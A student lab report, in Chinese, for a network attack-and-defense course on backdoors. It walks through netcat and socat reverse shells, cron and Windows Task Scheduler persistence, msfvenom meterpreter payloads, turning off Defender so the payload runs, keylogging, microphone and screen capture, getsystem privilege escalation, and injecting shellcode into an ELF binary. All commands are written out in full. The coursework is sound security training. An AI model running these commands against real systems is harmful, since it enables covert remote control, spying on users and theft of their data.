20242327 2026-2027-1 《网络与系统攻防技术》实验二实验报告
20242327 2026-2027-1 《网络与系统攻防技术》实验二实验报告
1. 基础知识
本实验涉及后门原理与远程控制技术,主要基础知识点如下:
(1)后门与反弹连接
后门(Backdoor)是指绕过正常认证流程即可访问系统的通道。后门要真正生效,通常需要走完四步:①有一个后门程序;②把它投递到目标系统;③让它运行起来(自启动/驻留);④不被发现(免杀、加密、隧道)。
后门连接方式分为正向连接与反弹连接。正向连接是攻击者主动连接受害者,容易被防火墙拦截;反弹连接是受害者主动连接攻击者,因为防火墙/NAT 通常只拦入站、不拦出站,所以后门几乎都采用反弹连接。
(2)netcat 与 socat
netcat是底层 TCP/UDP 数据收发工具,常被用来建立反弹 Shell。
socat 是 netcat 的加强版,支持加密、转发、多协议,可以实现加密反弹 Shell。
(3)cron 与 Windows 任务计划
cron 是 Linux 下的定时任务守护进程,通过 crontab -e 编辑任务表,可以实现每隔一段时间自动执行某命令的效果。
Windows 任务计划程序(taskschd.msc)是 Windows 下的定时/触发式任务调度工具,两者都是后门驻留的经典手法。
(4)Metasploit 与 msfvenom + Meterpreter
msfvenom 是 Metasploit 框架中的 payload 生成器,可以把后门的基本功能、扩展功能、编码模式、运行平台等组合成一个可执行文件。Meterpreter 是 Metasploit 的高级 payload,运行在内存中,提供文件操作、进程迁移、截屏、键盘记录、提权、凭据抓取等功能。
(5)multi/handler
exploit/multi/handler 是 Metasploit 中的通用监听模块,用于接收 msfvenom 生成的后门连接。使用时 payload、LHOST、LPORT 必须与生成后门时完全一致。
2. 实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
实验环境:
-
控制端:Kali Linux 2024(IP:192.168.17.129)
-
被控端:Windows 11(IP:10.30.46.17,主机名 LENOVE-USER)
3. 实验过程
任务一:netcat 获取 Shell及cron 定时启动
(1)手动验证反弹连接
Windows 端打开监听:

Kali 端执行反弹:
nc 10.30.46.17 2420 -e /bin/sh
Windows 端获得 Kali 的 Shell,执行 whoami 返回 kali,执行 ls 返回 Kali 的家目录列表,如下图:
(2)cron 定时反弹
在 Kali 上编辑 crontab:

保存后 crontab -l 确认。Windows 上重新 ncat.exe -l -p 2420 监听,等待不超过一分钟,Windows 窗口自动出现 Kali 的 Shell,执行 whoami 返回 kali。

任务二:socat 获取 Shell及Windows 任务计划启动
(1)手动验证 socat 反弹连接
Kali 端开监听:

Windows 端用 socat 主动连接并交出 cmd:

Kali 窗口出现 Windows 命令提示符 D:\socat\socat>,执行 whoami 返回 lenove-user\lenovo。
(2)Windows 任务计划实现自动启动
打开 taskschd.msc,创建任务 SysCheck:
-
常规:勾选“使用最高权限运行”,选择“只在用户登录时运行”(避免需要输入密码)
-
触发器:设为“按预定计划”,触发时间设为当前时间 +2 分钟
-
操作:程序
D:\socat\socat\socat.exe,参数tcp:192.168.17.129:2420 exec:cmd.exe,pty,stderr,起始于D:\socat\socat -
条件:取消“只有在计算机使用交流电源时才启动此任务”

保存后,Kali 重新 nc -l -p 2420,等触发时间到,Kali 窗口自动出现 Windows Shell。

(3)实验结束后清理
任务计划里右键 SysCheck → 删除。Kali 上 Ctrl+C 结束监听。
任务三:msfvenom 生成 Windows 后门
(1)生成后门
Kali 上执行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.17.129 LPORT=4444 -f exe -o backdoor.exe
生成后 执行 ls -lh backdoor.exe 确认文件大小(约 7168 字节)。

(2)传输到 Windows
先尝试 ncat 传输失败(原因:Windows Defender 实时保护拦截),改用 Python HTTP 服务:
Kali 上执行:
python3 -m http.server 8000
Windows 上执行:
curl -o backdoor.exe http://192.168.17.129:8000/backdoor.exe
dir backdoor.exe

(3)Kali 上启动 handler

(4)Windows 上运行后门
先临时关闭 Windows Defender 实时保护,否则 exe 会被秒删,然后运行该后门:

Kali 的 msfconsole 输出:
t
(5)进入会话验证
如下图,验证成功:

任务四:Meterpreter 信息收集并提权
(1)信息收集
在 meterpreter > 提示符下依次执行:
screenshot
record_mic -d 5
keyscan_start
keyscan_dump
keyscan_stop

(2)查看已捕获的文件
Kali 另开终端输入:
ls -lh /home/kali/.jpeg /home/kali/.wav
xdg-open /home/kali/BrTpXwLm.jpeg
下图为截取到的 Windows 桌面画面,以及终端里 ls -lh 显示的两个文件


(3)提权
如下图,执行 getsystem和getuid
得到结果NT AUTHORITY\SYSTEM,表示提权成功,拿到了系统最高权限。

(4)实验结束后清理
-
Windows 上重新打开 Defender 实时保护
-
Windows 上删除
backdoor.exe -
Kali 上杀掉 msfconsole 进程
任务五:msfvenom 生成 shellcode 注入 pwn1 获取反弹 Shell
(1)背景与工具 bug 修复
使用 msfvenom -x 把 Linux 后门注入到实践一的 ELF 程序 pwn1 时,遇到 Metasploit 框架自身的一个 bug:注入后输出文件只有 123 字节,file 显示为 data,运行时提示 1: j: not found 之类的脚本解析错误,并非预期的 7418 字节 ELF。

原因是 lib/msf/util/exe/linux/x86.rb 中 to_linux_x86_custom_elf 函数结尾漏写了返回值,Ruby 隐式返回了最后一句赋值语句的右值 code(即裸 shellcode),而不是打好补丁的 elf。
修改此问题后能够继续试验。
(2)生成注入后门的 pwn1
Kali 上执行:
cd ~/Desktop
msfvenom -p linux/x86/meterpreter/reverse_tcp
LHOST=192.168.17.129 LPORT=8888
-x /home/kali/Desktop/pwn1
-f elf -o pwn1_bd
chmod a+x pwn1_bd
输出显示 Payload size: 123 bytes,Final size of elf file: 7418 bytes,与原 pwn1 等长。

(3)验证注入是否成功
kali终端输入:
ls -l pwn1_bd
file pwn1_bd
readelf -lW pwn1_bd | grep LOAD
结果:
-
大小 7418 字节,与原始 pwn1 一致;
-
file显示ELF 32-bit LSB executable, Intel i386; -
首个 LOAD 段权限由
R E变为RWE(多了可写权限,用于写入 shellcode)。

(4)Kali 上启动 multi/handler
写资源脚本:
cat > /home/kali/handler.rc <<'EOF'
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.17.129
set LPORT 8888
set ExitOnSession false
exploit -j
EOF
msfconsole -q -r /home/kali/handler.rc
输出 Started reverse TCP handler on 192.168.17.129:8888,监听成功。

(5)运行后门,获取反弹 Shell
另开终端执行:
cd ~/Desktop
./pwn1_bd
msfconsole 立即输出:
[] Sending stage (1062760 bytes) to 192.168.17.129
[] Meterpreter session 1 opened (192.168.17.129:8888 -> 192.168.17.129:53924)

进入会话验证:
msf6 exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
Computer : liangruili
OS : Debian (Linux 6.19.14+kali-amd64)
Architecture : x64
Meterpreter : x86/linux
meterpreter > getuid
Server username: kali

会话成功建立,任务五完成。
(6)实验结束后清理

4. 问题及解决方案
-
问题 1:Windows 上的 netcat 包(netcat-win32-1.12)下载时被删除。
解决方案:忘记关闭安全防护,关闭后下载解压后不会被自动删除。
![]()
-
问题 2:用 ncat 传输 backdoor.exe 到 Windows 时,
dir显示文件是 0 字节。![]()
解决方案:原因是 Windows Defender 实时保护拦截,识别出
Trojan:Win32/Meterpreter.RPZ!MTB。关闭防火墙后,仍然无法解决该问题,询问同学得出可以使用http传输的方法。于是改用 Python HTTP 服务 +
curl下载,绕过 ncat 通道的问题。 -
问题 3:任务三结束后未关闭 msfconsole 的 handler,导致终端持续刷屏。
递原因:任务三里用
exploit -j把 handler 放到后台运行,且资源脚本里设置了ExitOnSession false,监听端口一直开着。此时目标端残留或反复触发的后门程序仍在周期性地向 Kali 的监听端口发起连接;每次连上后因为不能正常完成 stage 传输(对端进程随即退出/被杀),会话马上被判定为无效并关闭。handler 收到一次连接就产生一个 session 编号,对端又反复重连,于是就出现了“Sending stage → session N is not valid → session N closed. Reason: Died”的循环刷屏,编号一路涨到 24,后来卡死了。解决方法:重启了之后全都没了……
问题 4:任务五中按指导书命令把 shellcode 注入 pwn1,生成的
pwn1_bd只有 123 字节,不是预期的 7418 字节 ELF。原因:这是 Metasploit 框架自身的 bug。
lib/msf/util/exe/linux/x86.rb中的to_linux_x86_custom_elf函数在结尾漏写了返回值。Ruby 方法会隐式返回最后一条表达式的值,而该函数最后一句恰好是赋值语句:elf[entry_off, code.length] = code赋值表达式的返回值是其右值
code,也就是 123 字节的裸 shellcode。于是函数返回的不是打好补丁的 ELF,而是裸 shellcode,最终
msfvenom输出的自然也就是这 123 字节,而不是完整的 ELF 文件。解决方案:编辑该文件,在赋值语句后补一行显式返回
elf:elf[entry_off, code.length] = code
elf
end保存退出后,用原命令重新生成,输出恢复正常。
-
问题 5:Meterpreter 会话建立后,敲
sysinfo报Unknown command: sysinfo。解决方案:原因是在
msf exploit(multi/handler) >提示符下敲命令,而sysinfo是 Meterpreter 会话内的命令。需要先sessions -i 1进入meterpreter >提示符,再执行。![]()
随后启动 multi/handler 监听 8888 端口,运行
./pwn1_bd,成功收到Meterpreter session 1 opened。
5. 学习感悟、思考等
本次实验围绕后门原理与远程控制技术展开,实践了反弹连接、定时任务驻留、加密隧道、平台化后门生成、信息收集与提权、shellcode 注入等,完成了从手工搭建后门到平台化生成后门、再到将 shellcode 注入既有 ELF 程序获取反弹 Shell 的完整流程。
通过本次实验,我明确了后门生效需要经历“程序存在、投递到位、成功运行、长期隐藏”四个环节,其中反弹连接之所以成为后门的主流方式,是因为防火墙与 NAT 通常只拦截入站流量而不拦截出站流量,由被控端主动外连可以穿透绝大多数边界设备。
在此基础上,实验分别使用 netcat 与 socat 实现了跨平台 Shell 获取,并通过 cron 定时任务与 Windows 任务计划程序实现了后门的自动启动,验证了驻留技术的可行性与隐蔽性。
在平台化后门部分,实验使用 msfvenom 生成 Windows 后门并结合 Meterpreter 完成了远程控制,进一步实践了截屏、录音、键盘记录、进程迁移、凭据抓取与提权等信息收集与权限维持操作。在 shellcode 注入部分,实验将 Linux 后门注入到实践一的 pwn1 ELF 程序中,通过比对文件大小、文件类型与 LOAD 段权限确认注入成功,并最终获取反弹 Meterpreter 会话。
该过程还暴露出 Metasploit 框架在 ELF 模板注入函数中缺少返回值的问题,通过定位并修复该缺陷,加深了对 msfvenom 生成机制的理解。
实验过程中,比获得最高权限更让我印象深刻的是通过后门截取用户屏幕等行为,这让我意识到到网络安全事关重大,我们日常应尤其注意不乱点陌生链接。
参考资料
-
《网络与系统攻防技术》课程实验指导书



递
浙公网安备 33010602011771号